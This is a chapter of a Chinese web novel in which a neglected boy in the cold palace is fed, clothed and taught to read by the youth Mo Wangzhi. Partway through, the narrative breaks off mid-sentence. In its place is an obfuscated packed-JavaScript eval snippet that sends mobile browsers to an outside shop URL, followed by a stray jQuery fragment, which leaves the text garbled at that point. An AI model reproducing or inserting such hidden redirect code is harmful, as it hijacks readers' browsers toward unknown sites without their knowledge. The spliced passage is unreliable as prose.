等他身子将养得能下地时，莫忘之便不再多留他。
“冷宫虽陋，眼下却是你的安身立命之所，更为安全。贸然将你长留此处，反是害你。”莫忘之替他拢好那件已经洗净烘暖却仍显得空荡的旧衣，语气平常得像在陈述一个再简单不过的事实。“一个来历不明的孩子藏在我这里，活不过几天。”
玉凌绝垂着头，嘴唇抿得发白。安全？这吃人的地方，何来安全？他只是……只是又被抛下了。他还不懂什么大局权衡，只觉那短暂的温暖正从指缝间溜走，冰冷的恐惧再次攫住了心脏。
可他什么也没说，倔强地扭开了脸。
莫忘之似乎看穿了他的心思，转过头，目光落在他脸上。“我会常来。”他顿了顿，补充道，“看你。”
说着，他变戏法似的从袖中取出一个油纸包，递过去。还是那种甜得发腻的小鱼酪。
玉凌绝没有接，只是死死地盯着他，仿佛要在他脸上盯出两个洞来。莫忘之也不强求，将糖糕放在他身旁干净的石板上。
“为什么？”玉凌绝终于开口，声音干涩沙哑，带着连日病弱的虚弱，更多的却是一种不解的执拗。
莫忘之拍了拍他的头顶，动作很轻，带着一种近乎本能的安抚。“没有为什么。”他站起身，掸了掸衣袍上并不存在的灰尘。“活着吧，玉凌绝。活着，才能看到后面的戏。”他留下这句话，身影很快被宫墙的阴影吞没。
他看着那人消失的方向，很久很久，直到最后一缕天光也被夜幕吞噬。
回到那处破败漏风的冷宫角落，寒意似乎比离开前更刺骨。熟悉的腐霉气息钻入鼻腔，身下的稻草依旧潮湿冰冷。玉凌绝蜷在角落里，紧紧攥着怀里那个已经空了的糖糕布包，仿佛那是唯一能证明几日温暖并非虚幻的凭证。莫忘之塞给他时留下的温暖早已散尽，只剩下甜香余韵，勾得胃里一阵阵发空，心里也空落落的。
他睁着眼，望着被虫蛀蚀的窗棂外，那一方被屋檐切割出的狭窄夜空。月在云后，星光黯淡。
他在等。
等一个或许不会来的身影，等一盏或许不会亮起的灯。
那人说……会来。
宫墙外传来三更的梆子声，悠长而凄凉。玉凌绝将脸埋入膝间，一种被戏弄后的屈辱和更深重的绝望，如同冰水般慢慢浸透四肢百骸。果然，又是一场空。
就在他意识昏沉，几乎要被寒意与疲倦吞噬时，一阵轻微的落地声惊得他猛地一颤。
他抬起头，只见那抹熟悉的身影已立在院中残破的月台下，手里依旧提着那盏琉璃宫灯，暖黄的光晕在漆黑的夜里撕开一道温柔的口子。莫忘之肩上落着薄雪，发梢也带着湿气，显然来了有一会儿，只是未曾打扰。
“阿绝。”他唤道，声音不高，却清晰地穿透寂静。
玉凌绝僵着身体，没有动，黑沉沉的眼睛里戒备与连自己都不愿承认的希冀交织着。他死死咬着下唇，不肯泄露丝毫情绪，甚至故意扭过头，不去看那抹光亮。
莫忘之也不在意，几步走近，在他面前蹲下。他将宫灯放在一旁，光影跳跃，映亮两人之间一小块地面。随即他取出一个用厚棉袱裹得严严实实的陶罐，揭开盖子，一股混合着米粮与肉糜的温热香气瞬间弥漫开来，驱散了周围的腐朽气息。
是热粥。
“趁热吃。”莫忘之将陶罐和一个木勺递过来，语气寻常得像只是晚膳迟了些。
玉凌绝看着那罐冒着丝丝白气的粥，又看向莫忘之被薄雪打湿的肩头，和他平静无波的脸。他迟疑地伸出手，指尖触到温热的罐壁时猛地缩了一下，最终还是接了过来。
粥很烫，味道朴实，却足以慰藉冰冷的肠胃。他埋着头，一口一口，吃得很快，却尽量不发出声音。
莫忘之只静静地看着他吃，偶尔抬手，用袖口拂去灯罩上凝结的水汽。直到玉凌绝吃完最后一口，他才又开口：“以后我会常来。若听到三声叩窗，便是我。”
玉凌绝嘴唇动了动，想说点什么，但最后只默然点头。
莫忘之也不多言，待他吃完后，便不知从哪儿摸出一本边角磨损，纸页泛黄的《千字文》递到他面前。
“想识字么？”莫忘之问得随意。
玉凌绝盯着那密密麻麻的墨字，嘴唇抿得死紧，摇了摇头。在冷宫挣扎求生已耗尽全力，识字读书，是遥不可及的天方夜谭。
见他沉默，对方也不勉强，只是拿起枯枝，就着外面的雪地，缓慢而清晰地写下了三个字——
莫忘之。
“这是我的名字。” 他放下枯枝，目光重新落回玉凌绝身上，那目光里没有探究，没有怜悯，只有一片澄澈的平静，像是在等待一个早已知道的答案。
玉凌绝盯着那三个字，像是要将它们刻进心里。一阵短暂的沉默，只有风过树梢的微响。
终于，玉凌绝有了动作。他伸出冰冷而带着细小伤痕的手指，没有去拿那根枯枝，而是直接用指尖，在那三个字旁边的空地上，笨拙地一笔一划地勾勒起来。
他的动作很慢，笔画歪斜，甚至因用力而微微颤抖，像是在进行某种极其庄重又充满不确定的仪式。他写得很专注，紧抿着唇，鼻尖甚至沁出了细小的汗珠。
对方没有催促，只是静静地看着，看着那歪扭的笔画逐渐组成那三个熟悉的字——
莫忘之。
写完，玉凌绝像是耗尽了所有力气，迅速收回了手，指尖蜷缩进袖口里，只留下一双眼睛，带着几丝不易察觉的紧张，飞快地瞥了他一眼，又立刻垂下。
莫忘之的目光在上停留了片刻，并没有评价那歪斜的字迹，而是枯枝递向他：“想写自己的名字么？”
玉凌绝没有应声，只是那一直紧抿着倔强的唇角终于松动了。他重新低下头，终于开口道：“……嗯…”
莫忘之重新拿起树枝，在雪地空处一笔一划，他的字迹清逸舒展，与这冷宫残雪格格不入地写下了三个字——
玉凌绝。
“玉，石之美者，温润而泽。”莫忘之点着第一个字。
“凌，冰也，亦有逾越之意。”
“绝，极也，断也。”
他解释得简单，甚至带着一股冷峭。玉凌绝看着那三个与自己命运似乎如此契合的字，小脸白了白，用力在地上划下带着戾气的那三个字——
玉凌绝。
莫忘之看后没有说话，枯枝在那“凌”字上一点。
“凌，棱角锋锐。”他顿了顿，“过于锋锐，易折。需知藏锋。”
玉凌绝抿紧了唇。
莫忘之却话锋一转，树枝在“凌”与“绝”二字上一圈：“不过，字是死的，人是活的。”他抬眼，看向玉凌绝，目光清亮，“它是什么意思，端看写字的人，想让它是什么意思。”
玉凌绝沉默着，黑沉的眸子里先是茫然，随即像是被投入石子的深潭，漾开一圈圈剧烈的涟漪。他抬起头，望向莫忘之。
那人背对着宫灯散发的暖光，面容隐在阴影里看不真切，唯有那双眸子仿佛蕴藏着能颠倒乾坤的力量。
就着灯光，莫忘之盘腿在他铺着干草的床边坐下，翻开《千字文》的第一页，指尖点开篇四字，声音清朗平和，在这破败的宫室里缓缓漾开。
“…天地玄黄，宇宙洪荒。”
“日月盈昃，辰宿列张…”
他念得很慢，每个字都咬得清晰，灯火摇曳，那些音节组合在一起，与他过往在宫人口中听到的污言秽语，诅咒斥骂截然不同。玉凌绝起初只是被动地听着，目光游离，手指却无意识地蜷起，紧紧攥住了衣襟下的那枚玉锁，让他因紧绷的心神渐渐松弛下来。
直到宫墙外传来隐约的四更梆子声。莫忘之才合上书卷缓缓起身，拂去衣摆沾染的尘土，把书塞进他手里。“我该走了，书留着自己看，能记几个是几个。”他提起宫灯，光影晃动，将他身影拉长。
“窗根下我放了件旧棉袍，夜里冷，记得盖上。”那人的身影如来时一般，悄无声息地融入夜色，几个起落便消失在墙头。那盏灯的光晕也随之远去，周围重新陷入黑暗。
玉凌绝抬着头目光追随着那盏灯，直到它随着那身影一同消失在墙头。周遭再次陷入无边的黑暗与死寂，唯有口中残留的暖意，和脑海中新识的字句证明着那一个多时辰的温暖与光亮并非幻觉。
他在原地坐了许久，直到确认那人真的走了，才慢慢挪到窗边。一件半旧的暗青色棉袍整齐地叠放在那里，虽不华丽却厚实干净。他伸手摸了摸，柔软的布料带着日晒后的蓬松感，还有一种淡淡的，属于那人身上的清冽气息。
玉凌绝的指尖微颤，这仿佛是一种无声的认可，认可他不必隐藏自己与生俱来又阴郁的底色。他将棉袍抱在怀里，走回角落，紧紧裹住自己。寒意似乎被隔开了些许。
他低下头，伸出手指小心翼翼地，触碰了一下泥地上那个“忘”字。指尖传来冰雪的冰冷，心底却仿佛有什么东西破开坚冰，生出了一丝微弱却真实存在的暖意。他又抬头望向窗外，那轮冷月依旧高悬。但这一次，他知道，这无边的黑暗里，终有那一盏灯，会为他而来。
此后冷宫那处最偏僻，勉强能遮风挡雨的破败角落，似乎悄然变了模样。
先前欺凌他的老太监和守卫，大约是得了某种不着痕迹的警告，看他的眼神虽依旧不善，却到底不敢再轻易动手。
漏风的墙壁不知被谁用干燥的草束混着泥仔细堵住了最大的缝隙，潮湿发霉的草垫换成了一捆虽然陈旧却干净厚实的棉褥，甚至连那个总是结着薄冰，需要他费力才能砸开取水的破缸，也总会在入夜后，诡异地蓄满清澈的甚至带着些许温意的清水。
此后，莫忘之几乎每隔一两夜便会悄然出现。有时他翻墙而来，带着一身清冷的月光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105157|195781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和外面世界的气息；有时他似乎是从某些更正式的场合脱身，衣襟上还沾染着淡淡的，玉凌绝从未闻过的熏香。
他来了，便会检查他白日自学的字，偶尔指点一二，错得离谱时，会不轻不重地敲一下他的额头。
“这是‘人’，顶天立地。”
“这是‘口’，用以言说，用以进食。”
“这是‘木’，我们身边这棵老槐，便是木。”
莫忘之的讲解更像是随口的闲聊，教学也没什么温度，指点简洁，要求却严格。有时玉凌绝因记不住或写不好而焦躁，会猛地将树枝折断，或将泥地上的字胡乱抹去。莫忘之也从不斥责，只是等他发泄完了，再递过一根新的树枝，或者重新将那片泥地抚平，淡淡说一句：“重来。”写得好时，他也只是平淡地“嗯”一声。
后来，他会就着某个字，引申开去。
教到“忠”字时，他会说：“忠者，心有所止。而非愚昧盲从。”
教到“奸”字时，他会说：“奸佞之徒，往往口蜜腹剑，需得明辨。”
他说的不多，点到即止，却像是在玉凌绝混沌未开的心智中，投下了一颗颗小小的石子，激荡起一圈圈名为思考的涟漪。
再到后来，是一些人名，官职乃至简单的舆图符号。
“这是‘帝’，天下之主。”
“这是‘相’，百官之首。”
“这是‘兵’，戈矛所指。”
他将一个个字拆解，重组，写在地上。从“日月星辰”到“江河湖海”，从“君臣父子”到“礼义廉耻”。他的教学依旧毫无章法，信手拈来，却在不经意间为玉凌绝撬开了一个远超蒙学范畴的，关乎权力与秩序的世界的一角。
玉凌绝最初学得艰难，但学习能力惊人。他很快掌握了基本笔画，字迹虽仍显稚嫩，却已能看出框架。他写字时极其专注，小小的身子绷得笔直，那根枯枝在他手中不再是玩具，而是开辟蒙昧的利刃。
他的学习欲望如同久旱的荒漠逢遇微雨，以一种近乎贪婪的速度吸收着一切。他不需要任何人催促，每次莫忘之到来，他便会主动寻来树枝，用那双黑沉沉的满是渴望的眼睛望着他。每当莫忘之走后，他便对着那本书，用指甲在泥地上一遍遍笨拙地模仿勾勒，直到指尖磨破，渗出血丝。
他的手指常常因长时间紧握树枝和在地上划写而颤抖，但他只是更加用力地，一遍又一遍地，在泥地上重复着那些越来越复杂的笔画。
那些写在泥地上的字风一吹便会模糊，散去，但都深深烙印在了玉凌绝的脑海深处；那些冰冷的笔画，枯燥的文字，以及那盏温暖的灯光，就在这日复一日的写写画画中如同涓涓细流，悄无声息地汇入玉凌绝干涸的心田。
有时莫忘之还会带来一包还冒着热气的糖炒栗子，耐心地一颗颗剥开，将金黄饱满的果肉放在干净的帕子上推到他面前。“趁热。”他只说这两个字，便继续教他的书。玉凌绝起初只是默默吃着，后来，他会将最大最完整的那一颗，悄悄放回帕子中央。
有时他会带来一瓶伤药，替他更换手脚上那些不易愈合的冻疮，或是一壶用厚棉套捂着的热牛乳，沉默地看着他喝完。
更多的时候，他们只是对坐着。莫忘之不苛求也不考核，只是念着随口解释着字义，一个教得淡然，一个学得沉默。寂静的冷宫只有他清冷平稳的讲述声，风吹枯叶的沙沙声，以及灯花偶尔爆开的轻微噼啪声，暖黄的宫灯在一旁静静燃着，映着两个小小的身影。
莫忘之从不问玉凌绝白日过得如何，受了什么委屈，他只是存在于此，用这种沉默而稳定的陪伴，和那些衣食与知识，一点点凿穿着玉凌绝用苦难筑起的高墙。
玉凌绝依然不常说话，依旧不习惯接受，总觉得每接受一分，身上无形的绳索便紧了一分。但他不再对莫忘之龇牙，黑沉沉的眼眸追随着他的一举一动，带着审视，也带着连他自己都未曾察觉的贪慕。
他会默默吃掉对方带来的每一块点心，会将对方教过的字反复练习直到烂熟于心，会在对方离开时，盯着那空荡荡的墙头看上好一会儿。
他渐渐熟悉了这样的夜晚——无论窗外是风雨如晦还是月明星稀，先看到那一点暖黄的光晕自远而近，穿透废弃宫苑的沉滞黑暗，然后是莫忘之那道清瘦的身影，提着灯，步履从容地出现在破败的庭院。
灯光将他周身镀上一层柔和的边缘，也驱散了玉凌绝心底因孤寂而生的寒意。他会默不作声地看着莫忘之将灯挂在熟悉的老槐树低枝上，或是置于还算平整的石台边缘。
琉璃宫灯的光晕依旧只能照亮方寸之地，檐外的风雪也依旧凛冽，但那蚀骨的寒意，似乎退散了些许。
许多年后，玉凌绝偶尔午夜梦回，眼前浮现的却依旧是冷宫泥地上，那些用枯枝写下歪歪扭扭却无比清晰的印记，和那个坐在他身边，声音平和如水的少年身影。